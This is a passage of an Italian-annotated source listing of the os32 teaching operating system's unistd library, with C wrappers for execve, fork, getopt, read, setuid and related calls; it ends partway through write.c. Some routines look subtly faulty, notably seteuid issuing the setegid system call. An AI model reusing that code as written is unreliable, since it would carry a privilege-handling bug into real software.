4240002 //----------------------------------------------------------------------
4240003 int
4240004 execv (const char *path, char *const argv[])
4240005 {
4240006     return (execve (path, argv, environ));      // [1]
4240007 }
4240008 //
4240009 // The variable 'environ' is declared as 'char **environ' and is
4240010 // included from <unistd.h>.
```

```
4240011 //
```

120.21.14 lib/unistd/execve.c

Si veda la sezione 112.11.

```
4250001 #include <unistd.h>
4250002 #include <sys/types.h>
4250003 #include <sys/os32.h>
4250004 #include <errno.h>
4250005 #include <string.h>
4250006 #include <string.h>
4250007 //----------------------------------------------------------------------
4250008 int
4250009 execve (const char *path, char *const argv[], char *const envp[])
4250010 {
4250011     sysmsg_exec_t msg;
4250012     size_t         size;
4250013     size_t         arg_size;
4250014     int            argc;
4250015     size_t         env_size;
4250016     int            envc;
4250017     char          *arg_data = msg.arg_data;
4250018     char          *env_data = msg.env_data;
4250019     //
4250020     msg.ret    = 0;
4250021     msg.errno = 0;
4250022     //
4250023     strncpy (msg.path, path, PATH_MAX);
4250024     //
4250025     // Copy `argv[]' inside a the message buffer `msg.arg_data',
4250026     // separating each string with a null character and counting the
4250027     // number of strings inside `argc'.
4250028     //
4250029     for (argc = 0, arg_size = 0, size = 0;
4250030          argv       != NULL          &&
4250031          argc        < (ARG_MAX/16)  &&
4250032          arg_size    < ARG_MAX/2     &&
4250033          argv[argc] != NULL;
4250034          argc++, arg_size += size)
4250035       {
4250036         size = strlen (argv[argc]);
4250037         size++;          // Count also the final null character.
4250038         if (size > (ARG_MAX/2 - arg_size))
4250039           {
4250040             errset (E2BIG);      // Argument list too long.
4250041             return (-1);
4250042           }
4250043         strncpy (arg_data, argv[argc], size);
4250044         arg_data += size;
4250045       }
```

```
4250046     msg.argc = argc;
4250047     //
4250048     // Copy 'envp[]' inside a the message buffer 'msg.env_data',
4250049     // separating each string with a null character and counting the
4250050     // number of strings inside 'envc'.
4250051     //
4250052     for (envc = 0, env_size = 0, size = 0;
4250053          envp        != NULL          &&
4250054          envc         < (ARG_MAX/16)  &&
4250055          env_size     < ARG_MAX/2     &&
4250056          envp[envc] != NULL;
4250057          envc++, env_size += size)
4250058       {
4250059         size = strlen (envp[envc]);
4250060         size++;          // Count also the final null character.
4250061         if (size > (ARG_MAX/2 - env_size))
4250062           {
4250063             errset (E2BIG);     // Argument list too long.
4250064             return (-1);
4250065           }
4250066         strncpy (env_data, envp[envc], size);
4250067         env_data += size;
4250068       }
4250069     msg.envc = envc;
4250070     //
4250071     // System call.
4250072     //
4250073     sys (SYS_EXEC, &msg, (sizeof msg));
4250074     //
4250075     // Should not return, but if it does, then there is an error.
4250076     //
4250077     errno = msg.errno;
4250078     errln = msg.errln;
4250079     strncpy (errfn, msg.errfn, PATH_MAX);
4250080     return (msg.ret);
4250081 }
```

120.21.15 lib/unistd/execvp.c

Si veda la sezione 113.20.

```
4260001 #include <unistd.h>
4260002 #include <string.h>
4260003 #include <stdlib.h>
4260004 #include <errno.h>
4260005 #include <sys/os32.h>
4260006 //----------------------------------------------------------------------
4260007 int
4260008 execvp (const char *path, char *const argv[])
4260009 {
4260010     char  command[PATH_MAX];
```

```
4260011     int   status;
4260012     //
4260013     // Get a full command path if necessary.
4260014     //
4260015     status = namep (path, command, (size_t) PATH_MAX);
4260016     if (status != 0)
4260017       {
4260018         //
4260019         // Variable `errno' is already set by `namep()'.
4260020         //
4260021         return (-1);
4260022       }
4260023     //
4260024     // Return calling `execve()'
4260025     //
4260026     return (execve (command, argv, environ));   // [1]
4260027 }
4260028 //
4260029 // The variable `environ' is declared as `char **environ' and is
4260030 // included from <unistd.h>.
4260031 //
```

120.21.16 lib/unistd/fchdir.c

Si veda la sezione 112.4.

```
4270001 #include <unistd.h>
4270002 #include <errno.h>
4270003 //----------------------------------------------------------------------
4270004 int
4270005 fchdir (int fdn)
4270006 {
4270007     //
4270008     // os32 requires to keep track of the path for the current working
4270009     // directory. The standard function `fchdir()' is not applicable.
4270010     //
4270011     errset (E_NOT_IMPLEMENTED);
4270012     return (-1);
4270013 }
```

120.21.17 lib/unistd/fchown.c

Si veda la sezione 112.6.

```
4280001 #include <unistd.h>
4280002 #include <string.h>
4280003 #include <sys/os32.h>
4280004 #include <errno.h>
4280005 #include <limits.h>
```

```
4280006 //----------------------------------------------------------------------
4280007 int
4280008 fchown (int fdn, uid_t uid, gid_t gid)
4280009 {
4280010     sysmsg_fchown_t msg;
4280011     //
4280012     msg.fdn = fdn;
4280013     msg.uid = uid;
4280014     msg.gid = gid;
4280015     //
4280016     sys (SYS_FCHOWN, &msg, (sizeof msg));
4280017     //
4280018     errno = msg.errno;
4280019     errln = msg.errln;
4280020     strncpy (errfn, msg.errfn, PATH_MAX);
4280021     return (msg.ret);
4280022 }
```

120.21.18 lib/unistd/fork.c

Si veda la sezione 112.16.

```
4290001 #include <unistd.h>
4290002 #include <sys/types.h>
4290003 #include <sys/os32.h>
4290004 #include <errno.h>
4290005 #include <string.h>
4290006 //----------------------------------------------------------------------
4290007 pid_t
4290008 fork (void)
4290009 {
4290010     sysmsg_fork_t msg;
4290011     //
4290012     // Set the return value for the child process.
4290013     //
4290014     msg.ret = 0;
4290015     //
4290016     // Do the system call.
4290017     //
4290018     sys (SYS_FORK, &msg, (sizeof msg));
4290019     //
4290020     // If the system call has successfully generated a copy of
4290021     // the original process, the following code is executed from
4290022     // the parent and the child. But the child has the 'msg'
4290023     // structure untouched, while the parent has, at least, the
4290024     // pid number inside 'msg.ret'.
4290025     // If the system call fails, there is no child, and the
4290026     // parent finds the return value equal to -1, with an
4290027     // error number.
4290028     //
4290029     errno = msg.errno;
```

```
4290030     errln = msg.errln;
4290031     strncpy (errfn, msg.errfn, PATH_MAX);
4290032     return (msg.ret);
4290033 }
```

120.21.19 lib/unistd/getcwd.c

Si veda la sezione 112.18.

```
4300001 #include <unistd.h>
4300002 #include <sys/types.h>
4300003 #include <sys/os32.h>
4300004 #include <errno.h>
4300005 #include <stddef.h>
4300006 #include <string.h>
4300007 //----------------------------------------------------------------------
4300008 char *
4300009 getcwd (char *buffer, size_t size)
4300010 {
4300011     sysmsg_uarea_t msg;
4300012     //
4300013     // Check arguments: the buffer must be given.
4300014     //
4300015     if (buffer == NULL)
4300016       {
4300017         errset (EINVAL);
4300018         return (NULL);
4300019       }
4300020     //
4300021     // Make shure that the last character, inside the working directory
4300022     // path is a null character.
4300023     //
4300024     msg.path_cwd[PATH_MAX-1] = 0;
4300025     //
4300026     // Just get the user area data.
4300027     //
4300028     sys (SYS_UAREA, &msg, (sizeof msg));
4300029     //
4300030     // Check that the path is still correctly terminated. If it isn't,
4300031     // the path is longer than the implementation limits, and it is
4300032     // really *bad*.
4300033     //
4300034     if (msg.path_cwd[PATH_MAX-1] != 0)
4300035       {
4300036         errset (E_LIMIT);       // Exceeded implementation limits.
4300037         return (NULL);
4300038       }
4300039     //
4300040     // If the path is larger than the buffer size, return an error.
4300041     // Please note that the parameter 'size' must include the
4300042     // terminating null character, so, if the string is equal to
```

```
4300043      // the size, it is already beyond the size limit.
4300044      //
4300045      if (strlen (msg.path_cwd) >= size)
4300046        {
4300047          errset (ERANGE);        // Result too large.
4300048          return (NULL);
4300049        }
4300050      //
4300051      // Everything is fine, so, copy the path to the buffer and return.
4300052      //
4300053      strncpy (buffer, msg.path_cwd, size);
4300054      return (buffer);
4300055  }
```

120.21.20 lib/unistd/getegid.c

Si veda la sezione 112.19.

```
4310001  #include <unistd.h>
4310002  #include <sys/types.h>
4310003  #include <sys/os32.h>
4310004  #include <errno.h>
4310005  //----------------------------------------------------------------------
4310006  gid_t
4310007  getegid (void)
4310008  {
4310009      sysmsg_uarea_t msg;
4310010      sys (SYS_UAREA, &msg, (sizeof msg));
4310011      return (msg.egid);
4310012  }
```

120.21.21 lib/unistd/geteuid.c

Si veda la sezione 112.24.

```
4320001  #include <unistd.h>
4320002  #include <sys/types.h>
4320003  #include <sys/os32.h>
4320004  #include <errno.h>
4320005  //----------------------------------------------------------------------
4320006  uid_t
4320007  geteuid (void)
4320008  {
4320009      sysmsg_uarea_t msg;
4320010      sys (SYS_UAREA, &msg, (sizeof msg));
4320011      return (msg.euid);
4320012  }
```

120.21.22 lib/unistd/getgid.c

Si veda la sezione 112.19.

```
4330001 #include <unistd.h>
4330002 #include <sys/types.h>
4330003 #include <sys/os32.h>
4330004 #include <errno.h>
4330005 //----------------------------------------------------------------------
4330006 gid_t
4330007 getgid (void)
4330008 {
4330009     sysmsg_uarea_t msg;
4330010     sys (SYS_UAREA, &msg, (sizeof msg));
4330011     return (msg.gid);
4330012 }
```

120.21.23 lib/unistd/getopt.c

Si veda la sezione 113.55.

```
4340001 #include <unistd.h>
4340002 #include <sys/types.h>
4340003 #include <sys/os32.h>
4340004 #include <errno.h>
4340005 //----------------------------------------------------------------------
4340006 char *optarg;
4340007 int   optind    = 1;
4340008 int   opterr    = 1;
4340009 int   optopt    = 0;
4340010 //----------------------------------------------------------------------
4340011 static void getopt_no_argument (int opt);
4340012 //----------------------------------------------------------------------
4340013 int
4340014 getopt (int argc, char *const argv[], const char *optstring)
4340015 {
4340016     static int o = 0;           // Index to scan grouped options.
4340017            int s;               // Index to scan 'optstring'
4340018            int opt;             // Current option letter.
4340019            int flag_argument;   // If there should be an argument.
4340020     //
4340021     // Entering the function, 'flag_argument' is zero. Just to make
4340022     // it clear:
4340023     //
4340024     flag_argument = 0;
4340025     //
4340026     // Scan 'argv[]' elements, starting form the value that 'optind'
4340027     // already have.
4340028     //
4340029     for (; optind < argc; optind++)
4340030       {
```

```
4340031             //
4340032             // If an option is expected, some check must be done at
4340033             // the beginning.
4340034             //
4340035             if (!flag_argument)
4340036               {
4340037                 //
4340038                 // Check if the scan is finished and 'optind' should be kept
4340039                 // untouched:
4340040                 //   'argv[optind]'    is a null pointer;
4340041                 //   'argv[optind][0]' is not the character '-';
4340042                 //   'argv[optind]'    points to the string "-";
4340043                 //   all 'argv[]' elements are parsed.
4340044                 //
4340045                 if (argv[optind] == NULL
4340046                  || argv[optind][0] != '-'
4340047                  || argv[optind][1] == 0
4340048                  || optind >= argc)
4340049                   {
4340050                     return (-1);
4340051                   }
4340052                 //
4340053                 // Check if the scan is finished and 'optind' is to be
4340054                 // incremented:
4340055                 //   'argv[optind]'    points to the string "--".
4340056                 //
4340057                 if (argv[optind][0] == '-'
4340058                  && argv[optind][1] == '-'
4340059                  && argv[optind][2] == 0)
4340060                   {
4340061                     optind++;
4340062                     return (-1);
4340063                   }
4340064               }
4340065             //
4340066             // Scan 'argv[optind]' using the static index 'o'.
4340067             //
4340068             for (; o < strlen (argv[optind]); o++)
4340069               {
4340070                 //
4340071                 // If there should be an option, index 'o' should
4340072                 // start from 1, because 'argv[optind][0]' must
4340073                 // be equal to '-'.
4340074                 //
4340075                 if (!flag_argument && (o == 0))
4340076                   {
4340077                     //
4340078                     // As there is no options, 'o' cannot start
4340079                     // from zero, so a new loop is done.
4340080                     //
4340081                     continue;
4340082                   }
```

```
4340083                 //
4340084                 if (flag_argument)
4340085                   {
4340086                     //
4340087                     // There should be an argument, starting from
4340088                     // `argv[optind][o]'.
4340089                     //
4340090                     if ((o == 0) && (argv[optind][o] == '-'))
4340091                       {
4340092                         //
4340093                         // `argv[optind][0]' is equal to '-', but there
4340094                         // should be an argument instead: the argument
4340095                         // is missing.
4340096                         //
4340097                         optarg = NULL;
4340098                         //
4340099                         if (optstring[0] == ':')
4340100                           {
4340101                             //
4340102                             // As the option string starts with `:' the
4340103                             // function must return `:'.
4340104                             //
4340105                             optopt = opt;
4340106                             opt = ':';
4340107                           }
4340108                         else
4340109                           {
4340110                             //
4340111                             // As the option string does not start with `:'
4340112                             // the function must return `?'.
4340113                             //
4340114                             getopt_no_argument (opt);
4340115                             optopt = opt;
4340116                             opt = '?';
4340117                           }
4340118                         //
4340119                         // `optind' is left untouched.
4340120                         //
4340121                       }
4340122                     else
4340123                       {
4340124                         //
4340125                         // The argument is found: `optind' is to be
4340126                         // incremented and `o' is reset.
4340127                         //
4340128                         optarg = &argv[optind][o];
4340129                         optind++;
4340130                         o = 0;
4340131                       }
4340132                     //
4340133                     // Return the option, or ':', or '?'.
4340134                     //
```

```
4340135                 return (opt);
4340136               }
4340137             else
4340138               {
4340139                 //
4340140                 // It should be an option: `optstring[]' must be
4340141                 // scanned.
4340142                 //
4340143                 opt = argv[optind][o];
4340144                 //
4340145                 for (s = 0, optopt = 0; s < strlen (optstring); s++)
4340146                   {
4340147                     //
4340148                     // If `optsting[0]' is equal to ':', index `s' must
4340149                     // start at 1.
4340150                     //
4340151                     if ((s == 0) && (optstring[0] == ':'))
4340152                       {
4340153                         continue;
4340154                       }
4340155                     //
4340156                     if (opt == optstring[s])
4340157                       {
4340158                         //
4340159                         if (optstring[s+1] == ':')
4340160                           {
4340161                             //
4340162                             // There is an argument.
4340163                             //
4340164                             flag_argument = 1;
4340165                             break;
4340166                           }
4340167                         else
4340168                           {
4340169                             //
4340170                             // There is no argument.
4340171                             //
4340172                             o++;
4340173                             return (opt);
4340174                           }
4340175                       }
4340176                   }
4340177                 //
4340178                 if (s >= strlen (optstring))
4340179                   {
4340180                     //
4340181                     // The `optstring' scan is concluded with no
4340182                     // match.
4340183                     //
4340184                     o++;
4340185                     optopt = opt;
4340186                     return ('?');
```

```
4340187                     }
4340188                   //
4340189                   // Otherwise the loop was broken.
4340190                   //
4340191                 }
4340192             }
4340193           //
4340194           // Check index 'o'.
4340195           //
4340196           if (o >= strlen (argv[optind]))
4340197             {
4340198               //
4340199               // There are no more options or there is no argument
4340200               // inside current 'argv[optind]' string. Index 'o' is
4340201               // reset before the next loop.
4340202               //
4340203               o = 0;
4340204             }
4340205         }
4340206       //
4340207       // No more elements inside 'argv' or loop broken: there might be a
4340208       // missing argument.
4340209       //
4340210       if (flag_argument)
4340211         {
4340212           //
4340213           // Missing option argument.
4340214           //
4340215           optarg = NULL;
4340216           //
4340217           if (optstring[0] == ':')
4340218             {
4340219               return (':');
4340220             }
4340221           else
4340222             {
4340223               getopt_no_argument (opt);
4340224               return ('?');
4340225             }
4340226         }
4340227       //
4340228       return (-1);
4340229 }
4340230 //----------------------------------------------------------------------
4340231 static void
4340232 getopt_no_argument (int opt)
4340233 {
4340234     if (opterr)
4340235       {
4340236         fprintf (stderr, "Missing argument for option '-%c'\n", opt);
4340237       }
```

```
4340238 }
```

120.21.24 lib/unistd/getpgrp.c

Si veda la sezione 112.22.

```
4350001 #include <unistd.h>
4350002 #include <sys/types.h>
4350003 #include <sys/os32.h>
4350004 #include <errno.h>
4350005 //----------------------------------------------------------------------
4350006 pid_t
4350007 getpgrp (void)
4350008 {
4350009     sysmsg_uarea_t msg;
4350010     sys (SYS_UAREA, &msg, (sizeof msg));
4350011     return (msg.pgrp);
4350012 }
```

120.21.25 lib/unistd/getpid.c

Si veda la sezione 112.22.

```
4360001 #include <unistd.h>
4360002 #include <sys/types.h>
4360003 #include <sys/os32.h>
4360004 #include <errno.h>
4360005 //----------------------------------------------------------------------
4360006 pid_t
4360007 getpid (void)
4360008 {
4360009     sysmsg_uarea_t msg;
4360010     sys (SYS_UAREA, &msg, (sizeof msg));
4360011     return (msg.pid);
4360012 }
```

120.21.26 lib/unistd/getppid.c

Si veda la sezione 112.22.

```
4370001 #include <unistd.h>
4370002 #include <sys/types.h>
4370003 #include <sys/os32.h>
4370004 #include <errno.h>
4370005 //----------------------------------------------------------------------
4370006 pid_t
4370007 getppid (void)
4370008 {
```

```
4370009     sysmsg_uarea_t msg;
4370010     sys (SYS_UAREA, &msg, (sizeof msg));
4370011     return (msg.ppid);
4370012 }
```

120.21.27 lib/unistd/getuid.c

Si veda la sezione 112.24.

```
4380001 #include <unistd.h>
4380002 #include <sys/types.h>
4380003 #include <sys/os32.h>
4380004 #include <errno.h>
4380005 //----------------------------------------------------------------------
4380006 uid_t
4380007 getuid (void)
4380008 {
4380009     sysmsg_uarea_t msg;
4380010     sys (SYS_UAREA, &msg, (sizeof msg));
4380011     return (msg.uid);
4380012 }
```

120.21.28 lib/unistd/isatty.c

Si veda la sezione 113.64.

```
4390001 #include <sys/stat.h>
4390002 #include <sys/os32.h>
4390003 #include <unistd.h>
4390004 #include <sys/types.h>
4390005 #include <errno.h>
4390006 //----------------------------------------------------------------------
4390007 int
4390008 isatty (int fdn)
4390009 {
4390010     struct stat file_status;
4390011     //
4390012     // Verify to have valid input data.
4390013     //
4390014     if (fdn < 0)
4390015       {
4390016         errset (EBADF);
4390017         return (0);
4390018       }
4390019     //
4390020     // Verify the standard input.
4390021     //
4390022     if (fstat(fdn, &file_status) == 0)
4390023       {
```

```
4390024             if (major (file_status.st_rdev) == DEV_CONSOLE_MAJOR)
4390025               {
4390026                 return (1); // Meaning it is ok!
4390027               }
4390028             if (major (file_status.st_rdev) == DEV_TTY_MAJOR)
4390029               {
4390030                 return (1); // Meaning it is ok!
4390031               }
4390032           }
4390033         else
4390034           {
4390035             errset (errno);
4390036             return (0);
4390037           }
4390038         //
4390039         // If here, it is not a terminal of any kind.
4390040         //
4390041         errset (EINVAL);
4390042         return (0);
4390043     }
```

120.21.29 lib/unistd/link.c

Si veda la sezione 112.26.

```
4400001 #include <unistd.h>
4400002 #include <string.h>
4400003 #include <sys/os32.h>
4400004 #include <errno.h>
4400005 #include <limits.h>
4400006 //----------------------------------------------------------------------
4400007 int
4400008 link (const char *path_old, const char *path_new)
4400009 {
4400010     sysmsg_link_t msg;
4400011     //
4400012     strncpy (msg.path_old, path_old, PATH_MAX);
4400013     strncpy (msg.path_new, path_new, PATH_MAX);
4400014     //
4400015     sys (SYS_LINK, &msg, (sizeof msg));
4400016     //
4400017     errno = msg.errno;
4400018     errln = msg.errln;
4400019     strncpy (errfn, msg.errfn, PATH_MAX);
4400020     return (msg.ret);
4400021 }
```

120.21.30 lib/unistd/lseek.c

Si veda la sezione 112.28.

```
4410001 #include <unistd.h>
4410002 #include <sys/types.h>
4410003 #include <sys/os32.h>
4410004 #include <errno.h>
4410005 #include <string.h>
4410006 //----------------------------------------------------------------------
4410007 off_t
4410008 lseek (int fdn, off_t offset, int whence)
4410009 {
4410010     sysmsg_lseek_t  msg;
4410011     msg.fdn    = fdn;
4410012     msg.offset = offset;
4410013     msg.whence = whence;
4410014     sys (SYS_LSEEK, &msg, (sizeof msg));
4410015     errno = msg.errno;
4410016     errln = msg.errln;
4410017     strncpy (errfn, msg.errfn, PATH_MAX);
4410018     return (msg.ret);
4410019 }
```

120.21.31 lib/unistd/pipe.c

Si veda la sezione 112.33.

```
4420001 #include <unistd.h>
4420002 #include <string.h>
4420003 #include <sys/os32.h>
4420004 #include <errno.h>
4420005 #include <limits.h>
4420006 //----------------------------------------------------------------------
4420007 int
4420008 pipe (int pipefd[2])
4420009 {
4420010     sysmsg_pipe_t msg;
4420011     //
4420012     if (pipefd == NULL)
4420013       {
4420014         errset (EINVAL);
4420015         return (-1);
4420016       }
4420017     //
4420018     sys (SYS_PIPE, &msg, (sizeof msg));
4420019     //
4420020     errno = msg.errno;
4420021     errln = msg.errln;
4420022     //
4420023     pipefd[0] = msg.pipefd[0];
```

```
4420024     pipefd[1] = msg.pipefd[1];
4420025     //
4420026     return (msg.ret);
4420027 }
```

120.21.32 lib/unistd/read.c

Si veda la sezione 112.34.

```
4430001 #include <unistd.h>
4430002 #include <sys/os32.h>
4430003 #include <errno.h>
4430004 #include <string.h>
4430005 #include <stdio.h>
4430006 //----------------------------------------------------------------------
4430007 ssize_t
4430008 read (int fdn, void *buffer, size_t count)
4430009 {
4430010     sysmsg_read_t msg;
4430011     //
4430012     // Reduce size of read if necessary.
4430013     //
4430014     if (count > BUFSIZ)
4430015       {
4430016         count = BUFSIZ;
4430017       }
4430018     //
4430019     // Fill the message.
4430020     //
4430021     msg.fdn   = fdn;
4430022     msg.count = count;
4430023     msg.eof   = 0;
4430024     msg.ret   = 0;
4430025     //
4430026     // Repeat syscall, until something is received or end of file is
4430027     // reached.
4430028     //
4430029     while (1)
4430030       {
4430031         sys (SYS_READ, &msg, (sizeof msg));
4430032         if (msg.ret != 0 || msg.eof)
4430033           {
4430034             break;
4430035           }
4430036       }
4430037     //
4430038     // Before return: be careful with the 'msg.buffer' copy, because
4430039     // it cannot be longer than 'count', otherwise, some unexpected
4430040     // memory will be overwritten!
4430041     //
4430042     if (msg.ret < 0)
```

```
4430043         {
4430044           //
4430045           // No valid read, no change inside the buffer.
4430046           //
4430047           errno = msg.errno;
4430048           return (msg.ret);
4430049         }
4430050       //
4430051       if (msg.ret > count)
4430052         {
4430053           //
4430054           // A strange value was returned. Considering it a read error.
4430055           //
4430056           errset (EIO);                   // I/O error.
4430057           return (-1);
4430058         }
4430059       //
4430060       // A valid read: fill the buffer with ‘msg.ret’ bytes.
4430061       //
4430062       memcpy (buffer, msg.buffer, msg.ret);
4430063       //
4430064       // Return.
4430065       //
4430066       return (msg.ret);
4430067   }
```

120.21.33 lib/unistd/rmdir.c

Si veda la sezione 112.35.

```
4440001   #include <unistd.h>
4440002   #include <string.h>
4440003   #include <sys/os32.h>
4440004   #include <errno.h>
4440005   #include <limits.h>
4440006   //----------------------------------------------------------------------
4440007   int
4440008   rmdir (const char *path)
4440009   {
4440010       sysmsg_stat_t   msg_stat;
4440011       sysmsg_unlink_t msg_unlink;
4440012       //
4440013       if (path == NULL)
4440014         {
4440015           errset (EINVAL);
4440016           return (-1);
4440017         }
4440018       //
4440019       strncpy (msg_stat.path, path, PATH_MAX);
4440020       //
4440021       sys (SYS_STAT, &msg_stat, (sizeof msg_stat));
```

```
4440022     //
4440023     if (msg_stat.ret != 0)
4440024       {
4440025         errno = msg_stat.errno;
4440026         errln = msg_stat.errln;
4440027         strncpy (errfn, msg_stat.errfn, PATH_MAX);
4440028         return (msg_stat.ret);
4440029       }
4440030     //
4440031     if (!S_ISDIR (msg_stat.stat.st_mode))
4440032       {
4440033         errset (ENOTDIR);               // Not a directory.
4440034         return (-1);
4440035       }
4440036     //
4440037     strncpy (msg_unlink.path, path, PATH_MAX);
4440038     //
4440039     sys (SYS_UNLINK, &msg_unlink, (sizeof msg_unlink));
4440040     //
4440041     errno = msg_unlink.errno;
4440042     errln = msg_unlink.errln;
4440043     strncpy (errfn, msg_unlink.errfn, PATH_MAX);
4440044     return (msg_unlink.ret);
4440045 }
```

120.21.34 lib/unistd/sbrk.c

Si veda la sezione 112.3.

```
4450001 #include <unistd.h>
4450002 #include <string.h>
4450003 #include <sys/os32.h>
4450004 #include <errno.h>
4450005 #include <limits.h>
4450006 //----------------------------------------------------------------------
4450007 void *
4450008 sbrk (intptr_t increment)
4450009 {
4450010     sysmsg_sbrk_t   msg_sbrk;
4450011     //
4450012     msg_sbrk.increment = increment;
4450013     //
4450014     sys (SYS_SBRK, &msg_sbrk, (sizeof msg_sbrk));
4450015     //
4450016     errno = msg_sbrk.errno;
4450017     errln = msg_sbrk.errln;
4450018     strncpy (errfn, msg_sbrk.errfn, PATH_MAX);
4450019     return (msg_sbrk.ret);
4450020 }
```

120.21.35 lib/unistd/setegid.c

Si veda la sezione 112.39.

```
4460001 #include <unistd.h>
4460002 #include <sys/types.h>
4460003 #include <sys/os32.h>
4460004 #include <errno.h>
4460005 #include <string.h>
4460006 //----------------------------------------------------------------------
4460007 int
4460008 setegid (gid_t gid)
4460009 {
4460010     sysmsg_setegid_t msg;
4460011     msg.ret    = 0;
4460012     msg.errno = 0;
4460013     msg.egid  = gid;
4460014     sys (SYS_SETEGID, &msg, (sizeof msg));
4460015     errno = msg.errno;
4460016     errln = msg.errln;
4460017     strncpy (errfn, msg.errfn, PATH_MAX);
4460018     return (msg.ret);
4460019 }
4460020
```

120.21.36 lib/unistd/seteuid.c

Si veda la sezione 112.42.

```
4470001 #include <unistd.h>
4470002 #include <sys/types.h>
4470003 #include <sys/os32.h>
4470004 #include <errno.h>
4470005 #include <string.h>
4470006 //----------------------------------------------------------------------
4470007 int
4470008 seteuid (uid_t uid)
4470009 {
4470010     sysmsg_seteuid_t msg;
4470011     msg.ret    = 0;
4470012     msg.errno = 0;
4470013     msg.euid  = uid;
4470014     sys (SYS_SETEGID, &msg, (sizeof msg));
4470015     errno = msg.errno;
4470016     errln = msg.errln;
4470017     strncpy (errfn, msg.errfn, PATH_MAX);
4470018     return (msg.ret);
4470019 }
4470020
```

120.21.37 lib/unistd/setgid.c

Si veda la sezione 112.39.

```
4480001 #include <unistd.h>
4480002 #include <sys/types.h>
4480003 #include <sys/os32.h>
4480004 #include <errno.h>
4480005 #include <string.h>
4480006 //----------------------------------------------------------------------
4480007 int
4480008 setgid (gid_t gid)
4480009 {
4480010     sysmsg_setgid_t msg;
4480011     msg.ret    = 0;
4480012     msg.errno = 0;
4480013     msg.egid  = gid;
4480014     sys (SYS_SETGID, &msg, (sizeof msg));
4480015     errno = msg.errno;
4480016     errln = msg.errln;
4480017     strncpy (errfn, msg.errfn, PATH_MAX);
4480018     return (msg.ret);
4480019 }
```

120.21.38 lib/unistd/setpgrp.c

Si veda la sezione 112.41.

```
4490001 #include <unistd.h>
4490002 #include <sys/os32.h>
4490003 #include <stddef.h>
4490004 //----------------------------------------------------------------------
4490005 int
4490006 setpgrp (void)
4490007 {
4490008     sys (SYS_PGRP, NULL, (size_t) 0);
4490009     return (0);
4490010 }
```

120.21.39 lib/unistd/setuid.c

Si veda la sezione 112.42.

```
4500001 #include <unistd.h>
4500002 #include <sys/types.h>
4500003 #include <sys/os32.h>
4500004 #include <errno.h>
4500005 #include <string.h>
4500006 //----------------------------------------------------------------------
4500007 int
```

```
4500008 setuid (uid_t uid)
4500009 {
4500010     sysmsg_setuid_t msg;
4500011     msg.ret    = 0;
4500012     msg.errno = 0;
4500013     msg.euid  = uid;
4500014     sys (SYS_SETUID, &msg, (sizeof msg));
4500015     errno = msg.errno;
4500016     errln = msg.errln;
4500017     strncpy (errfn, msg.errfn, PATH_MAX);
4500018     return (msg.ret);
4500019 }
```

120.21.40 lib/unistd/sleep.c

Si veda la sezione 112.44.

```
4510001 #include <unistd.h>
4510002 #include <sys/types.h>
4510003 #include <sys/os32.h>
4510004 #include <errno.h>
4510005 #include <time.h>
4510006 //----------------------------------------------------------------------
4510007 unsigned int
4510008 sleep (unsigned int seconds)
4510009 {
4510010     sysmsg_sleep_t  msg;
4510011     time_t          start;
4510012     time_t          end;
4510013     int             slept;
4510014     //
4510015     if (seconds == 0)
4510016       {
4510017         return (0);
4510018       }
4510019     //
4510020     msg.events  = WAKEUP_EVENT_TIMER;
4510021     msg.seconds = seconds;
4510022     sys (SYS_SLEEP, &msg, (sizeof msg));
4510023     start = msg.ret;
4510024     end   = time (NULL);
4510025     slept = end - msg.ret;
4510026     //
4510027     if (slept < 0)
4510028       {
4510029         return (seconds);
4510030       }
4510031     else if (slept < seconds)
4510032       {
4510033         return (seconds - slept);
4510034       }
```

```
4510035     else
4510036       {
4510037         return (0);
4510038       }
4510039 }
```

120.21.41 lib/unistd/ttyname.c

Si veda la sezione 113.126.

```
4520001 #include <sys/os32.h>
4520002 #include <sys/stat.h>
4520003 #include <unistd.h>
4520004 #include <sys/types.h>
4520005 #include <errno.h>
4520006 #include <limits.h>
4520007 //----------------------------------------------------------------------
4520008 char *
4520009 ttyname (int fdn)
4520010 {
4520011     dev_t       dev_minor;
4520012     struct stat file_status;
4520013     static char name[PATH_MAX];
4520014     //
4520015     // Verify to have valid input data.
4520016     //
4520017     if (fdn < 0)
4520018       {
4520019         errset (EBADF);
4520020         return (NULL);
4520021       }
4520022     //
4520023     // Verify the file descriptor.
4520024     //
4520025     if (fstat (fdn, &file_status) == 0)
4520026       {
4520027         if (major (file_status.st_rdev) == DEV_CONSOLE_MAJOR)
4520028           {
4520029             dev_minor = minor (file_status.st_rdev);
4520030             //
4520031             // If minor is equal to 0xFF, it is '/dev/console'.
4520032             //
4520033             if (dev_minor < 0xFF)
4520034               {
4520035                 sprintf (name, "/dev/console%i", dev_minor);
4520036               }
4520037             else
4520038               {
4520039                 strcpy (name, "/dev/console");
4520040               }
4520041             return (name);
```

```
4520042                 }
4520043             else if (file_status.st_rdev == DEV_TTY)
4520044                 {
4520045                     strcpy (name, "/dev/tty");
4520046                     return (name);
4520047                 }
4520048             else
4520049                 {
4520050                     errset (ENOTTY);
4520051                     return (NULL);
4520052                 }
4520053         }
4520054     else
4520055         {
4520056             errset (errno);
4520057             return (NULL);
4520058         }
4520059 }
```

120.21.42 lib/unistd/unlink.c

Si veda la sezione 112.52.

```
4530001 #include <unistd.h>
4530002 #include <string.h>
4530003 #include <sys/os32.h>
4530004 #include <errno.h>
4530005 #include <limits.h>
4530006 //----------------------------------------------------------------------
4530007 int
4530008 unlink (const char *path)
4530009 {
4530010     sysmsg_unlink_t msg;
4530011     //
4530012     strncpy (msg.path, path, PATH_MAX);
4530013     //
4530014     sys (SYS_UNLINK, &msg, (sizeof msg));
4530015     //
4530016     errno = msg.errno;
4530017     errln = msg.errln;
4530018     strncpy (errfn, msg.errfn, PATH_MAX);
4530019     return (msg.ret);
4530020 }
```

120.21.43 lib/unistd/write.c

Si veda la sezione 112.54.

```
4540001 #include <unistd.h>
4540002 #include <sys/os32.h>
4540003 #include <errno.h>
4540004 #include <string.h>
4540005 #include <stdio.h>
4540006 //----------------------------------------------------------------------
4540007 ssize_t
4540008 write (int fdn, const void *buffer, size_t count)
4540009 {
4540010     sysmsg_write_t msg;
4540011     //
4540012     // Reduce size of write if necessary.
4540013     //
4540014     if (count > BUFSIZ)
4540015       {
4540016         count = BUFSIZ;
4540017       }
4540018     //
4540019     // Fill the message.
4540020     //
4540021     msg.fdn   = fdn;
4540022     msg.count = count;
4540023     memcpy (msg.buffer, buffer, count);
4540024     //
4540025     // Syscall.
4540026     //
4540027     sys (SYS_WRITE, &msg, (sizeof msg));
4540028     //
